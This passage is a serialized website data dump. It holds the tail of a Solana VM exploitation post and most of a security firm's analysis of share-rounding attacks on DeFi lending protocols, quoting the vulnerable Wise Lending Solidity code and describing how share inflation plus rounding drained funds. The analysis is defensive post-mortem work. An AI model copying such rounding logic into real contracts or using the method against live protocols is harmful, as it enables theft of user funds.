0x1000\n",{"type":24,"tag":930,"props":48899,"children":48900},{"class":932,"line":993},[48901],{"type":24,"tag":930,"props":48902,"children":48903},{"style":959},[48904],{"type":30,"value":2528},{"type":24,"tag":930,"props":48906,"children":48907},{"class":932,"line":1057},[48908],{"type":24,"tag":930,"props":48909,"children":48910},{"style":1422},[48911],{"type":30,"value":48912},"// call_frame_addr(8) = 0x200011000\n",{"type":24,"tag":68,"props":48914,"children":48915},{"id":5876},[48916],{"type":30,"value":5879},{"type":24,"tag":33,"props":48918,"children":48919},{},[48920,48922,48929],{"type":30,"value":48921},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":24,"tag":37,"props":48923,"children":48926},{"href":48924,"rel":48925},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[41],[48927],{"type":30,"value":48928},"they do exist",{"type":30,"value":436},{"type":24,"tag":33,"props":48931,"children":48932},{},[48933],{"type":30,"value":48934},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":24,"tag":33,"props":48936,"children":48937},{},[48938,48940,48945],{"type":30,"value":48939},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":24,"tag":6032,"props":48941,"children":48942},{},[48943],{"type":30,"value":48944},"entire",{"type":30,"value":48946}," runtime.",{"type":24,"tag":5957,"props":48948,"children":48949},{},[48950],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":48952},[48953,48957,48958,48961],{"id":22058,"depth":984,"text":22061,"children":48954},[48955,48956],{"id":43629,"depth":993,"text":43632},{"id":44947,"depth":993,"text":44950},{"id":46186,"depth":984,"text":46189},{"id":47022,"depth":984,"text":47025,"children":48959},[48960],{"id":47136,"depth":993,"text":47139},{"id":5876,"depth":984,"text":5879},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":48966,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48967,"description":48968,"author":48969,"image":48970,"date":48972,"isFeatured":16,"onBlogPage":16,"body":48973,"_type":5983,"_id":50117,"_source":5985,"_file":50118,"_stem":50119,"_extension":5988},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[8832],{"src":48971},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":21,"children":48974,"toc":50106},[48975,48979,49007,49012,49025,49030,49036,49041,49046,49051,49056,49069,49081,49101,49121,49126,49131,49149,49155,49160,49166,49180,49193,49198,49204,49218,49223,49245,49477,49482,49487,49500,49739,49749,49754,49760,49765,49770,49803,49808,49819,49825,49830,49844,49972,49986,50062,50067,50078,50083,50088,50092,50097,50102],{"type":24,"tag":68,"props":48976,"children":48977},{"id":27},[48978],{"type":30,"value":31},{"type":24,"tag":33,"props":48980,"children":48981},{},[48982,48984,48991,48992,48999,49001,49006],{"type":30,"value":48983},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":24,"tag":37,"props":48985,"children":48988},{"href":48986,"rel":48987},"https://neodyme.io/de/blog/lending_disclosure",[41],[48989],{"type":30,"value":48990},"fast",{"type":30,"value":962},{"type":24,"tag":37,"props":48993,"children":48996},{"href":48994,"rel":48995},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[41],[48997],{"type":30,"value":48998},"cheap",{"type":30,"value":49000}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":24,"tag":6032,"props":49002,"children":49003},{},[49004],{"type":30,"value":49005},"Most people haven't considered what happens when shares are worth a lot",{"type":30,"value":436},{"type":24,"tag":33,"props":49008,"children":49009},{},[49010],{"type":30,"value":49011},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":24,"tag":478,"props":49013,"children":49014},{},[49015,49020],{"type":24,"tag":100,"props":49016,"children":49017},{},[49018],{"type":30,"value":49019},"Inflate share value (token to share conversion rate)",{"type":24,"tag":100,"props":49021,"children":49022},{},[49023],{"type":30,"value":49024},"Exploit rounding bug",{"type":24,"tag":33,"props":49026,"children":49027},{},[49028],{"type":30,"value":49029},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":24,"tag":68,"props":49031,"children":49033},{"id":49032},"model",[49034],{"type":30,"value":49035},"Model",{"type":24,"tag":33,"props":49037,"children":49038},{},[49039],{"type":30,"value":49040},"Before we dive in, there's some helpful background information we'll share first.",{"type":24,"tag":33,"props":49042,"children":49043},{},[49044],{"type":30,"value":49045},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":24,"tag":33,"props":49047,"children":49048},{},[49049],{"type":30,"value":49050},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":24,"tag":33,"props":49052,"children":49053},{},[49054],{"type":30,"value":49055},"This question is more complex than it may appear. Let's walk through an example.",{"type":24,"tag":33,"props":49057,"children":49058},{},[49059,49061,49067],{"type":30,"value":49060},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":24,"tag":156,"props":49062,"children":49064},{"className":49063},[],[49065],{"type":30,"value":49066},"1000:1000",{"type":30,"value":49068}," (1000 tokens to 1000 shares).",{"type":24,"tag":33,"props":49070,"children":49071},{},[49072,49074,49080],{"type":30,"value":49073},"After accruing fees, the pool gains one token for a new ratio of ",{"type":24,"tag":156,"props":49075,"children":49077},{"className":49076},[],[49078],{"type":30,"value":49079},"1001:1000",{"type":30,"value":436},{"type":24,"tag":33,"props":49082,"children":49083},{},[49084,49086,49092,49094,49099],{"type":30,"value":49085},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":24,"tag":156,"props":49087,"children":49089},{"className":49088},[],[49090],{"type":30,"value":49091},"1001/1000*999 = 999.999",{"type":30,"value":49093},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":24,"tag":6032,"props":49095,"children":49096},{},[49097],{"type":30,"value":49098},"down",{"type":30,"value":49100}," against the user.",{"type":24,"tag":33,"props":49102,"children":49103},{},[49104,49106,49112,49114,49120],{"type":30,"value":49105},"If we give the user 999 tokens, the new pool state is ",{"type":24,"tag":156,"props":49107,"children":49109},{"className":49108},[],[49110],{"type":30,"value":49111},"2:1",{"type":30,"value":49113},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":24,"tag":156,"props":49115,"children":49117},{"className":49116},[],[49118],{"type":30,"value":49119},"3:1",{"type":30,"value":436},{"type":24,"tag":33,"props":49122,"children":49123},{},[49124],{"type":30,"value":49125},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":24,"tag":33,"props":49127,"children":49128},{},[49129],{"type":30,"value":49130},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":24,"tag":478,"props":49132,"children":49133},{},[49134,49139,49144],{"type":24,"tag":100,"props":49135,"children":49136},{},[49137],{"type":30,"value":49138},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":24,"tag":100,"props":49140,"children":49141},{},[49142],{"type":30,"value":49143},"When you withdraw, are you withdrawing shares or tokens?",{"type":24,"tag":100,"props":49145,"children":49146},{},[49147],{"type":30,"value":49148},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":24,"tag":68,"props":49150,"children":49152},{"id":49151},"decisions",[49153],{"type":30,"value":49154},"Decisions",{"type":24,"tag":33,"props":49156,"children":49157},{},[49158],{"type":30,"value":49159},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":24,"tag":151,"props":49161,"children":49163},{"id":49162},"radiant-capital",[49164],{"type":30,"value":49165},"Radiant Capital",{"type":24,"tag":33,"props":49167,"children":49168},{},[49169,49171,49178],{"type":30,"value":49170},"Radiant Capital was ",{"type":24,"tag":37,"props":49172,"children":49175},{"href":49173,"rel":49174},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[41],[49176],{"type":30,"value":49177},"hacked on Jan 2nd",{"type":30,"value":49179}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":24,"tag":33,"props":49181,"children":49182},{},[49183,49185,49192],{"type":30,"value":49184},"The exploit is relatively straightforward and ",{"type":24,"tag":37,"props":49186,"children":49189},{"href":49187,"rel":49188},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[41],[49190],{"type":30,"value":49191},"has already been covered previously",{"type":30,"value":436},{"type":24,"tag":33,"props":49194,"children":49195},{},[49196],{"type":30,"value":49197},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":24,"tag":151,"props":49199,"children":49201},{"id":49200},"wise-lending",[49202],{"type":30,"value":49203},"Wise Lending",{"type":24,"tag":33,"props":49205,"children":49206},{},[49207,49209,49216],{"type":30,"value":49208},"Wise Lending was ",{"type":24,"tag":37,"props":49210,"children":49213},{"href":49211,"rel":49212},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[41],[49214],{"type":30,"value":49215},"hacked on January 13th",{"type":30,"value":49217}," for just under $460,000.",{"type":24,"tag":33,"props":49219,"children":49220},{},[49221],{"type":30,"value":49222},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":24,"tag":33,"props":49224,"children":49225},{},[49226,49228,49235,49237,49244],{"type":30,"value":49227},"This is ",{"type":24,"tag":37,"props":49229,"children":49232},{"href":49230,"rel":49231},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[41],[49233],{"type":30,"value":49234},"the code responsible",{"type":30,"value":49236}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":24,"tag":37,"props":49238,"children":49241},{"href":49239,"rel":49240},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[41],[49242],{"type":30,"value":49243},"no way to atomically self-bankrupt",{"type":30,"value":436},{"type":24,"tag":920,"props":49246,"children":49248},{"className":922,"code":49247,"language":924,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[49249],{"type":24,"tag":156,"props":49250,"children":49251},{"__ignoreMap":7},[49252,49282,49290,49298,49305,49327,49340,49347,49368,49398,49410,49422,49429,49453,49470],{"type":24,"tag":930,"props":49253,"children":49254},{"class":932,"line":933},[49255,49259,49264,49268,49273,49278],{"type":24,"tag":930,"props":49256,"children":49257},{"style":943},[49258],{"type":30,"value":1044},{"type":24,"tag":930,"props":49260,"children":49261},{"style":959},[49262],{"type":30,"value":49263}," withdrawValue ",{"type":24,"tag":930,"props":49265,"children":49266},{"style":1158},[49267],{"type":30,"value":1161},{"type":24,"tag":930,"props":49269,"children":49270},{"style":959},[49271],{"type":30,"value":49272}," WISE_ORACLE.",{"type":24,"tag":930,"props":49274,"children":49275},{"style":1002},[49276],{"type":30,"value":49277},"getTokensInETH",{"type":24,"tag":930,"props":49279,"children":49280},{"style":959},[49281],{"type":30,"value":2814},{"type":24,"tag":930,"props":49283,"children":49284},{"class":932,"line":984},[49285],{"type":24,"tag":930,"props":49286,"children":49287},{"style":959},[49288],{"type":30,"value":49289},"    _poolToken,\n",{"type":24,"tag":930,"props":49291,"children":49292},{"class":932,"line":993},[49293],{"type":24,"tag":930,"props":49294,"children":49295},{"style":959},[49296],{"type":30,"value":49297},"    _amount\n",{"type":24,"tag":930,"props":49299,"children":49300},{"class":932,"line":1057},[49301],{"type":24,"tag":930,"props":49302,"children":49303},{"style":959},[49304],{"type":30,"value":1054},{"type":24,"tag":930,"props":49306,"children":49307},{"class":932,"line":1066},[49308,49312,49317,49322],{"type":24,"tag":930,"props":49309,"children":49310},{"style":1158},[49311],{"type":30,"value":20663},{"type":24,"tag":930,"props":49313,"children":49314},{"style":959},[49315],{"type":30,"value":49316}," WISE_LENDING.",{"type":24,"tag":930,"props":49318,"children":49319},{"style":1002},[49320],{"type":30,"value":49321},"lendingPoolData",{"type":24,"tag":930,"props":49323,"children":49324},{"style":959},[49325],{"type":30,"value":49326},"(_poolToken).collateralFactor\n",{"type":24,"tag":930,"props":49328,"children":49329},{"class":932,"line":1075},[49330,49335],{"type":24,"tag":930,"props":49331,"children":49332},{"style":1158},[49333],{"type":30,"value":49334},"    /",{"type":24,"tag":930,"props":49336,"children":49337},{"style":959},[49338],{"type":30,"value":49339}," PRECISION_FACTOR_E18;\n",{"type":24,"tag":930,"props":49341,"children":49342},{"class":932,"line":1122},[49343],{"type":24,"tag":930,"props":49344,"children":49345},{"emptyLinePlaceholder":16},[49346],{"type":30,"value":2412},{"type":24,"tag":930,"props":49348,"children":49349},{"class":932,"line":1131},[49350,49354,49359,49363],{"type":24,"tag":930,"props":49351,"children":49352},{"style":943},[49353],{"type":30,"value":32776},{"type":24,"tag":930,"props":49355,"children":49356},{"style":959},[49357],{"type":30,"value":49358}," state ",{"type":24,"tag":930,"props":49360,"children":49361},{"style":1158},[49362],{"type":30,"value":1161},{"type":24,"tag":930,"props":49364,"children":49365},{"style":959},[49366],{"type":30,"value":49367}," borrowPercentageCap\n",{"type":24,"tag":930,"props":49369,"children":49370},{"class":932,"line":1144},[49371,49375,49379,49384,49389,49393],{"type":24,"tag":930,"props":49372,"children":49373},{"style":1158},[49374],{"type":30,"value":20663},{"type":24,"tag":930,"props":49376,"children":49377},{"style":959},[49378],{"type":30,"value":1087},{"type":24,"tag":930,"props":49380,"children":49381},{"style":1002},[49382],{"type":30,"value":49383},"overallETHCollateralsWeighted",{"type":24,"tag":930,"props":49385,"children":49386},{"style":959},[49387],{"type":30,"value":49388},"(_nftId) ",{"type":24,"tag":930,"props":49390,"children":49391},{"style":1158},[49392],{"type":30,"value":1215},{"type":24,"tag":930,"props":49394,"children":49395},{"style":959},[49396],{"type":30,"value":49397}," withdrawValue)\n",{"type":24,"tag":930,"props":49399,"children":49400},{"class":932,"line":1169},[49401,49405],{"type":24,"tag":930,"props":49402,"children":49403},{"style":1158},[49404],{"type":30,"value":49334},{"type":24,"tag":930,"props":49406,"children":49407},{"style":959},[49408],{"type":30,"value":49409}," PRECISION_FACTOR_E18\n",{"type":24,"tag":930,"props":49411,"children":49412},{"class":932,"line":1191},[49413,49417],{"type":24,"tag":930,"props":49414,"children":49415},{"style":1158},[49416],{"type":30,"value":35534},{"type":24,"tag":930,"props":49418,"children":49419},{"style":959},[49420],{"type":30,"value":49421}," borrowAmount;\n",{"type":24,"tag":930,"props":49423,"children":49424},{"class":932,"line":1223},[49425],{"type":24,"tag":930,"props":49426,"children":49427},{"emptyLinePlaceholder":16},[49428],{"type":30,"value":2412},{"type":24,"tag":930,"props":49430,"children":49431},{"class":932,"line":1281},[49432,49436,49441,49445,49449],{"type":24,"tag":930,"props":49433,"children":49434},{"style":1079},[49435],{"type":30,"value":18683},{"type":24,"tag":930,"props":49437,"children":49438},{"style":959},[49439],{"type":30,"value":49440}," (state ",{"type":24,"tag":930,"props":49442,"children":49443},{"style":1158},[49444],{"type":30,"value":1239},{"type":24,"tag":930,"props":49446,"children":49447},{"style":937},[49448],{"type":30,"value":15576},{"type":24,"tag":930,"props":49450,"children":49451},{"style":959},[49452],{"type":30,"value":1503},{"type":24,"tag":930,"props":49454,"children":49455},{"class":932,"line":1313},[49456,49461,49466],{"type":24,"tag":930,"props":49457,"children":49458},{"style":1079},[49459],{"type":30,"value":49460},"    revert",{"type":24,"tag":930,"props":49462,"children":49463},{"style":1002},[49464],{"type":30,"value":49465}," ResultsInBadDebt",{"type":24,"tag":930,"props":49467,"children":49468},{"style":959},[49469],{"type":30,"value":1310},{"type":24,"tag":930,"props":49471,"children":49472},{"class":932,"line":1335},[49473],{"type":24,"tag":930,"props":49474,"children":49475},{"style":959},[49476],{"type":30,"value":2528},{"type":24,"tag":33,"props":49478,"children":49479},{},[49480],{"type":30,"value":49481},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":24,"tag":33,"props":49483,"children":49484},{},[49485],{"type":30,"value":49486},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":24,"tag":33,"props":49488,"children":49489},{},[49490,49492,49498],{"type":30,"value":49491},"And indeed, ",{"type":24,"tag":37,"props":49493,"children":49496},{"href":49494,"rel":49495},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[41],[49497],{"type":30,"value":49203},{"type":30,"value":49499}," rounds up the share value.",{"type":24,"tag":920,"props":49501,"children":49503},{"className":922,"code":49502,"language":924,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[49504],{"type":24,"tag":156,"props":49505,"children":49506},{"__ignoreMap":7},[49507,49523,49540,49556,49569,49576,49584,49592,49611,49618,49639,49660,49682,49711,49732],{"type":24,"tag":930,"props":49508,"children":49509},{"class":932,"line":933},[49510,49514,49519],{"type":24,"tag":930,"props":49511,"children":49512},{"style":937},[49513],{"type":30,"value":34469},{"type":24,"tag":930,"props":49515,"children":49516},{"style":1002},[49517],{"type":30,"value":49518}," _calculateShares",{"type":24,"tag":930,"props":49520,"children":49521},{"style":959},[49522],{"type":30,"value":2814},{"type":24,"tag":930,"props":49524,"children":49525},{"class":932,"line":984},[49526,49531,49536],{"type":24,"tag":930,"props":49527,"children":49528},{"style":943},[49529],{"type":30,"value":49530},"    uint256",{"type":24,"tag":930,"props":49532,"children":49533},{"style":1023},[49534],{"type":30,"value":49535}," _product",{"type":24,"tag":930,"props":49537,"children":49538},{"style":959},[49539],{"type":30,"value":2832},{"type":24,"tag":930,"props":49541,"children":49542},{"class":932,"line":993},[49543,49547,49552],{"type":24,"tag":930,"props":49544,"children":49545},{"style":943},[49546],{"type":30,"value":49530},{"type":24,"tag":930,"props":49548,"children":49549},{"style":1023},[49550],{"type":30,"value":49551}," _pseudo",{"type":24,"tag":930,"props":49553,"children":49554},{"style":959},[49555],{"type":30,"value":2832},{"type":24,"tag":930,"props":49557,"children":49558},{"class":932,"line":1057},[49559,49564],{"type":24,"tag":930,"props":49560,"children":49561},{"style":943},[49562],{"type":30,"value":49563},"    bool",{"type":24,"tag":930,"props":49565,"children":49566},{"style":1023},[49567],{"type":30,"value":49568}," _maxSharePrice\n",{"type":24,"tag":930,"props":49570,"children":49571},{"class":932,"line":1066},[49572],{"type":24,"tag":930,"props":49573,"children":49574},{"style":959},[49575],{"type":30,"value":1054},{"type":24,"tag":930,"props":49577,"children":49578},{"class":932,"line":1075},[49579],{"type":24,"tag":930,"props":49580,"children":49581},{"style":937},[49582],{"type":30,"value":49583},"    private\n",{"type":24,"tag":930,"props":49585,"children":49586},{"class":932,"line":1122},[49587],{"type":24,"tag":930,"props":49588,"children":49589},{"style":937},[49590],{"type":30,"value":49591},"    pure\n",{"type":24,"tag":930,"props":49593,"children":49594},{"class":932,"line":1131},[49595,49599,49603,49607],{"type":24,"tag":930,"props":49596,"children":49597},{"style":1079},[49598],{"type":30,"value":2898},{"type":24,"tag":930,"props":49600,"children":49601},{"style":959},[49602],{"type":30,"value":1087},{"type":24,"tag":930,"props":49604,"children":49605},{"style":943},[49606],{"type":30,"value":1044},{"type":24,"tag":930,"props":49608,"children":49609},{"style":959},[49610],{"type":30,"value":1054},{"type":24,"tag":930,"props":49612,"children":49613},{"class":932,"line":1144},[49614],{"type":24,"tag":930,"props":49615,"children":49616},{"style":959},[49617],{"type":30,"value":13987},{"type":24,"tag":930,"props":49619,"children":49620},{"class":932,"line":1169},[49621,49625,49630,49634],{"type":24,"tag":930,"props":49622,"children":49623},{"style":1079},[49624],{"type":30,"value":20090},{"type":24,"tag":930,"props":49626,"children":49627},{"style":959},[49628],{"type":30,"value":49629}," _maxSharePrice ",{"type":24,"tag":930,"props":49631,"children":49632},{"style":1158},[49633],{"type":30,"value":1239},{"type":24,"tag":930,"props":49635,"children":49636},{"style":937},[49637],{"type":30,"value":49638}," true\n",{"type":24,"tag":930,"props":49640,"children":49641},{"class":932,"line":1191},[49642,49647,49652,49656],{"type":24,"tag":930,"props":49643,"children":49644},{"style":1158},[49645],{"type":30,"value":49646},"        ?",{"type":24,"tag":930,"props":49648,"children":49649},{"style":959},[49650],{"type":30,"value":49651}," _product % _pseudo ",{"type":24,"tag":930,"props":49653,"children":49654},{"style":1158},[49655],{"type":30,"value":1239},{"type":24,"tag":930,"props":49657,"children":49658},{"style":1242},[49659],{"type":30,"value":27370},{"type":24,"tag":930,"props":49661,"children":49662},{"class":932,"line":1223},[49663,49668,49673,49677],{"type":24,"tag":930,"props":49664,"children":49665},{"style":1158},[49666],{"type":30,"value":49667},"            ?",{"type":24,"tag":930,"props":49669,"children":49670},{"style":959},[49671],{"type":30,"value":49672}," _product ",{"type":24,"tag":930,"props":49674,"children":49675},{"style":1158},[49676],{"type":30,"value":1471},{"type":24,"tag":930,"props":49678,"children":49679},{"style":959},[49680],{"type":30,"value":49681}," _pseudo\n",{"type":24,"tag":930,"props":49683,"children":49684},{"class":932,"line":1281},[49685,49690,49694,49698,49703,49707],{"type":24,"tag":930,"props":49686,"children":49687},{"style":1158},[49688],{"type":30,"value":49689},"            :",{"type":24,"tag":930,"props":49691,"children":49692},{"style":959},[49693],{"type":30,"value":49672},{"type":24,"tag":930,"props":49695,"children":49696},{"style":1158},[49697],{"type":30,"value":1471},{"type":24,"tag":930,"props":49699,"children":49700},{"style":959},[49701],{"type":30,"value":49702}," _pseudo ",{"type":24,"tag":930,"props":49704,"children":49705},{"style":1158},[49706],{"type":30,"value":1400},{"type":24,"tag":930,"props":49708,"children":49709},{"style":1242},[49710],{"type":30,"value":22545},{"type":24,"tag":930,"props":49712,"children":49713},{"class":932,"line":1313},[49714,49719,49723,49727],{"type":24,"tag":930,"props":49715,"children":49716},{"style":1158},[49717],{"type":30,"value":49718},"        :",{"type":24,"tag":930,"props":49720,"children":49721},{"style":959},[49722],{"type":30,"value":49672},{"type":24,"tag":930,"props":49724,"children":49725},{"style":1158},[49726],{"type":30,"value":1471},{"type":24,"tag":930,"props":49728,"children":49729},{"style":959},[49730],{"type":30,"value":49731}," _pseudo;\n",{"type":24,"tag":930,"props":49733,"children":49734},{"class":932,"line":1335},[49735],{"type":24,"tag":930,"props":49736,"children":49737},{"style":959},[49738],{"type":30,"value":2528},{"type":24,"tag":33,"props":49740,"children":49741},{},[49742,49747],{"type":24,"tag":6032,"props":49743,"children":49744},{},[49745],{"type":30,"value":49746},"Regardless of which way the share rounding occurs, this is a bug",{"type":30,"value":49748},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":24,"tag":33,"props":49750,"children":49751},{},[49752],{"type":30,"value":49753},"This is a really tricky invariant to reason about!",{"type":24,"tag":68,"props":49755,"children":49757},{"id":49756},"root-cause",[49758],{"type":30,"value":49759},"Root Cause",{"type":24,"tag":33,"props":49761,"children":49762},{},[49763],{"type":30,"value":49764},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":24,"tag":33,"props":49766,"children":49767},{},[49768],{"type":30,"value":49769},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":24,"tag":920,"props":49771,"children":49773},{"className":922,"code":49772,"language":924,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[49774],{"type":24,"tag":156,"props":49775,"children":49776},{"__ignoreMap":7},[49777],{"type":24,"tag":930,"props":49778,"children":49779},{"class":932,"line":933},[49780,49785,49789,49794,49798],{"type":24,"tag":930,"props":49781,"children":49782},{"style":959},[49783],{"type":30,"value":49784},"totalDepositShares ",{"type":24,"tag":930,"props":49786,"children":49787},{"style":1158},[49788],{"type":30,"value":1410},{"type":24,"tag":930,"props":49790,"children":49791},{"style":959},[49792],{"type":30,"value":49793}," _amount ",{"type":24,"tag":930,"props":49795,"children":49796},{"style":1158},[49797],{"type":30,"value":1471},{"type":24,"tag":930,"props":49799,"children":49800},{"style":959},[49801],{"type":30,"value":49802}," pseudoTotalPool\n",{"type":24,"tag":33,"props":49804,"children":49805},{},[49806],{"type":30,"value":49807},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":24,"tag":33,"props":49809,"children":49810},{},[49811,49813,49817],{"type":30,"value":49812},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":24,"tag":6032,"props":49814,"children":49815},{},[49816],{"type":30,"value":23020},{"type":30,"value":49818}," integer division?",{"type":24,"tag":68,"props":49820,"children":49822},{"id":49821},"mitigations",[49823],{"type":30,"value":49824},"Mitigations",{"type":24,"tag":33,"props":49826,"children":49827},{},[49828],{"type":30,"value":49829},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":24,"tag":33,"props":49831,"children":49832},{},[49833,49835,49842],{"type":30,"value":49834},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":24,"tag":37,"props":49836,"children":49839},{"href":49837,"rel":49838},"https://twitter.com/danielvf/status/1746306320553152615",[41],[49840],{"type":30,"value":49841},"@danielvf notes",{"type":30,"value":49843},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":24,"tag":920,"props":49845,"children":49847},{"className":922,"code":49846,"language":924,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[49848],{"type":24,"tag":156,"props":49849,"children":49850},{"__ignoreMap":7},[49851,49875,49922,49956],{"type":24,"tag":930,"props":49852,"children":49853},{"class":932,"line":933},[49854,49858,49863,49867,49871],{"type":24,"tag":930,"props":49855,"children":49856},{"style":1079},[49857],{"type":30,"value":18683},{"type":24,"tag":930,"props":49859,"children":49860},{"style":959},[49861],{"type":30,"value":49862}," (_totalSupply ",{"type":24,"tag":930,"props":49864,"children":49865},{"style":1158},[49866],{"type":30,"value":1239},{"type":24,"tag":930,"props":49868,"children":49869},{"style":1242},[49870],{"type":30,"value":1245},{"type":24,"tag":930,"props":49872,"children":49873},{"style":959},[49874],{"type":30,"value":1503},{"type":24,"tag":930,"props":49876,"children":49877},{"class":932,"line":984},[49878,49883,49887,49892,49897,49902,49907,49912,49917],{"type":24,"tag":930,"props":49879,"children":49880},{"style":959},[49881],{"type":30,"value":49882},"    liquidity ",{"type":24,"tag":930,"props":49884,"children":49885},{"style":1158},[49886],{"type":30,"value":1161},{"type":24,"tag":930,"props":49888,"children":49889},{"style":959},[49890],{"type":30,"value":49891}," Math.",{"type":24,"tag":930,"props":49893,"children":49894},{"style":1002},[49895],{"type":30,"value":49896},"sqrt",{"type":24,"tag":930,"props":49898,"children":49899},{"style":959},[49900],{"type":30,"value":49901},"(amount0.",{"type":24,"tag":930,"props":49903,"children":49904},{"style":1002},[49905],{"type":30,"value":49906},"mul",{"type":24,"tag":930,"props":49908,"children":49909},{"style":959},[49910],{"type":30,"value":49911},"(amount1)).",{"type":24,"tag":930,"props":49913,"children":49914},{"style":1002},[49915],{"type":30,"value":49916},"sub",{"type":24,"tag":930,"props":49918,"children":49919},{"style":959},[49920],{"type":30,"value":49921},"(MINIMUM_LIQUIDITY);\n",{"type":24,"tag":930,"props":49923,"children":49924},{"class":932,"line":993},[49925,49930,49934,49938,49942,49946,49951],{"type":24,"tag":930,"props":49926,"children":49927},{"style":1002},[49928],{"type":30,"value":49929},"   _mint",{"type":24,"tag":930,"props":49931,"children":49932},{"style":959},[49933],{"type":30,"value":1010},{"type":24,"tag":930,"props":49935,"children":49936},{"style":943},[49937],{"type":30,"value":1713},{"type":24,"tag":930,"props":49939,"children":49940},{"style":959},[49941],{"type":30,"value":1010},{"type":24,"tag":930,"props":49943,"children":49944},{"style":1242},[49945],{"type":30,"value":1818},{"type":24,"tag":930,"props":49947,"children":49948},{"style":959},[49949],{"type":30,"value":49950},"), MINIMUM_LIQUIDITY); ",{"type":24,"tag":930,"props":49952,"children":49953},{"style":1422},[49954],{"type":30,"value":49955},"// permanently lock the first MINIMUM_LIQUIDITY 